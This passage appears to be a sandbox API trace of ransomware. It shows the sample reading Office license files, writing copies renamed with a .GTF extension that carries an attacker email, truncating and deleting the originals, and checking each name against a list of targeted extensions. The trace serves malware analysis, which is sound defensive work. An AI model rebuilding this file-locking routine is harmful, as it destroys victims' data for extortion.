	[0173.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-pl.xrm-ms")) returned 1
	[0173.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.436] lstrlenW (lpString=".doc") returned 4
	[0173.436] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.436] lstrlenW (lpString=".docx") returned 5
	[0173.436] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.436] lstrlenW (lpString=".pdf") returned 4
	[0173.436] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.436] lstrlenW (lpString=".xls") returned 4
	[0173.436] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.436] lstrlenW (lpString=".xlsx") returned 5
	[0173.436] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.436] lstrlenW (lpString=".ppt") returned 4
	[0173.436] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.436] lstrlenW (lpString=".zip") returned 4
	[0173.436] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.436] lstrlenW (lpString=".rar") returned 4
	[0173.436] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.436] lstrlenW (lpString=".bz2") returned 4
	[0173.436] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.436] lstrlenW (lpString=".7z") returned 3
	[0173.437] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.437] lstrlenW (lpString=".dbf") returned 4
	[0173.437] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.437] lstrlenW (lpString=".1cd") returned 4
	[0173.437] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.437] lstrlenW (lpString=".jpg") returned 4
	[0173.437] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.437] lstrlenW (lpString=".doc") returned 4
	[0173.437] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.437] lstrlenW (lpString=".docx") returned 5
	[0173.437] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.437] lstrlenW (lpString=".pdf") returned 4
	[0173.437] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.437] lstrlenW (lpString=".xls") returned 4
	[0173.437] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.437] lstrlenW (lpString=".xlsx") returned 5
	[0173.437] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.437] lstrlenW (lpString=".ppt") returned 4
	[0173.437] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.437] lstrlenW (lpString=".zip") returned 4
	[0173.437] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.437] lstrlenW (lpString=".rar") returned 4
	[0173.438] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.438] lstrlenW (lpString=".bz2") returned 4
	[0173.438] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.438] lstrlenW (lpString=".7z") returned 3
	[0173.438] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.438] lstrlenW (lpString=".dbf") returned 4
	[0173.438] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.438] lstrlenW (lpString=".1cd") returned 4
	[0173.438] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned 83
	[0173.438] lstrlenW (lpString=".jpg") returned 4
	[0173.438] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.438] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.438] lstrlenW (lpString="HomeBusinessR_Retail2-pl.xrm-ms") returned 31
	[0173.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.439] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=10659) returned 1
	[0173.439] CloseHandle (hObject=0x3dc) returned 1
	[0173.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220
	[0173.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.440] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.440] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.441] GetLastError () returned 0x0
	[0173.441] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x29a3, lpOverlapped=0x0) returned 1
	[0173.443] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0173.444] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.444] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x112, lpOverlapped=0x0) returned 1
	[0173.444] SetEndOfFile (hFile=0x564) returned 1
	[0173.444] CloseHandle (hObject=0x564) returned 1
	[0173.444] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.444] SetEndOfFile (hFile=0x3dc) returned 1
	[0173.447] CloseHandle (hObject=0x3dc) returned 1
	[0173.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1
	[0173.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.448] lstrlenW (lpString=".doc") returned 4
	[0173.449] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString=".docx") returned 5
	[0173.449] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.449] lstrlenW (lpString=".pdf") returned 4
	[0173.449] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString=".xls") returned 4
	[0173.449] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString=".xlsx") returned 5
	[0173.449] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.449] lstrlenW (lpString=".ppt") returned 4
	[0173.449] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.449] lstrlenW (lpString=".zip") returned 4
	[0173.449] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString=".rar") returned 4
	[0173.449] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString=".bz2") returned 4
	[0173.449] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString=".7z") returned 3
	[0173.449] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.449] lstrlenW (lpString=".dbf") returned 4
	[0173.449] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.449] lstrlenW (lpString=".1cd") returned 4
	[0173.449] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.449] lstrlenW (lpString=".jpg") returned 4
	[0173.449] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.450] lstrlenW (lpString=".doc") returned 4
	[0173.450] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString=".docx") returned 5
	[0173.450] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.450] lstrlenW (lpString=".pdf") returned 4
	[0173.450] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString=".xls") returned 4
	[0173.450] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString=".xlsx") returned 5
	[0173.450] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.450] lstrlenW (lpString=".ppt") returned 4
	[0173.450] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.450] lstrlenW (lpString=".zip") returned 4
	[0173.450] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString=".rar") returned 4
	[0173.450] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString=".bz2") returned 4
	[0173.450] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString=".7z") returned 3
	[0173.450] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.450] lstrlenW (lpString=".dbf") returned 4
	[0173.450] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.450] lstrlenW (lpString=".1cd") returned 4
	[0173.450] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81
	[0173.450] lstrlenW (lpString=".jpg") returned 4
	[0173.451] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.451] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.451] lstrlenW (lpString="HomeBusinessR_Retail2-ppd.xrm-ms") returned 32
	[0173.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.452] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=22092) returned 1
	[0173.452] CloseHandle (hObject=0x3dc) returned 1
	[0173.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220
	[0173.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.452] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.453] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.454] GetLastError () returned 0x0
	[0173.454] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x564c, lpOverlapped=0x0) returned 1
	[0173.456] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0173.653] ReadFile (in: hFile=0x3dc, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.653] WriteFile (in: hFile=0x564, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x114, lpOverlapped=0x0) returned 1
	[0173.654] SetEndOfFile (hFile=0x564) returned 1
	[0173.687] CloseHandle (hObject=0x564) returned 1
	[0173.687] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.687] SetEndOfFile (hFile=0x3dc) returned 1
	[0173.690] CloseHandle (hObject=0x3dc) returned 1
	[0173.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1
	[0173.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.692] lstrlenW (lpString=".doc") returned 4
	[0173.692] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString=".docx") returned 5
	[0173.692] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.692] lstrlenW (lpString=".pdf") returned 4
	[0173.692] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString=".xls") returned 4
	[0173.692] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString=".xlsx") returned 5
	[0173.692] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.692] lstrlenW (lpString=".ppt") returned 4
	[0173.692] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.692] lstrlenW (lpString=".zip") returned 4
	[0173.692] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString=".rar") returned 4
	[0173.692] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString=".bz2") returned 4
	[0173.692] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString=".7z") returned 3
	[0173.692] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.692] lstrlenW (lpString=".dbf") returned 4
	[0173.692] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.692] lstrlenW (lpString=".1cd") returned 4
	[0173.692] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.693] lstrlenW (lpString=".jpg") returned 4
	[0173.693] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.693] lstrlenW (lpString=".doc") returned 4
	[0173.693] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString=".docx") returned 5
	[0173.693] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0173.693] lstrlenW (lpString=".pdf") returned 4
	[0173.693] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString=".xls") returned 4
	[0173.693] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString=".xlsx") returned 5
	[0173.693] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0173.693] lstrlenW (lpString=".ppt") returned 4
	[0173.693] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.693] lstrlenW (lpString=".zip") returned 4
	[0173.693] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString=".rar") returned 4
	[0173.693] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString=".bz2") returned 4
	[0173.693] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString=".7z") returned 3
	[0173.693] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0173.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.693] lstrlenW (lpString=".dbf") returned 4
	[0173.693] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.693] lstrlenW (lpString=".1cd") returned 4
	[0173.693] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0173.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0173.694] lstrlenW (lpString=".jpg") returned 4
	[0173.694] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0173.694] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0173.694] lstrlenW (lpString="HomeBusinessR_Trial-ul-oob.xrm-ms") returned 33
	[0173.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.695] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11621) returned 1
	[0173.695] CloseHandle (hObject=0x3dc) returned 1
	[0173.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms")) returned 0x220
	[0173.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0173.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0173.695] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.695] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564
	[0173.696] GetLastError () returned 0x0
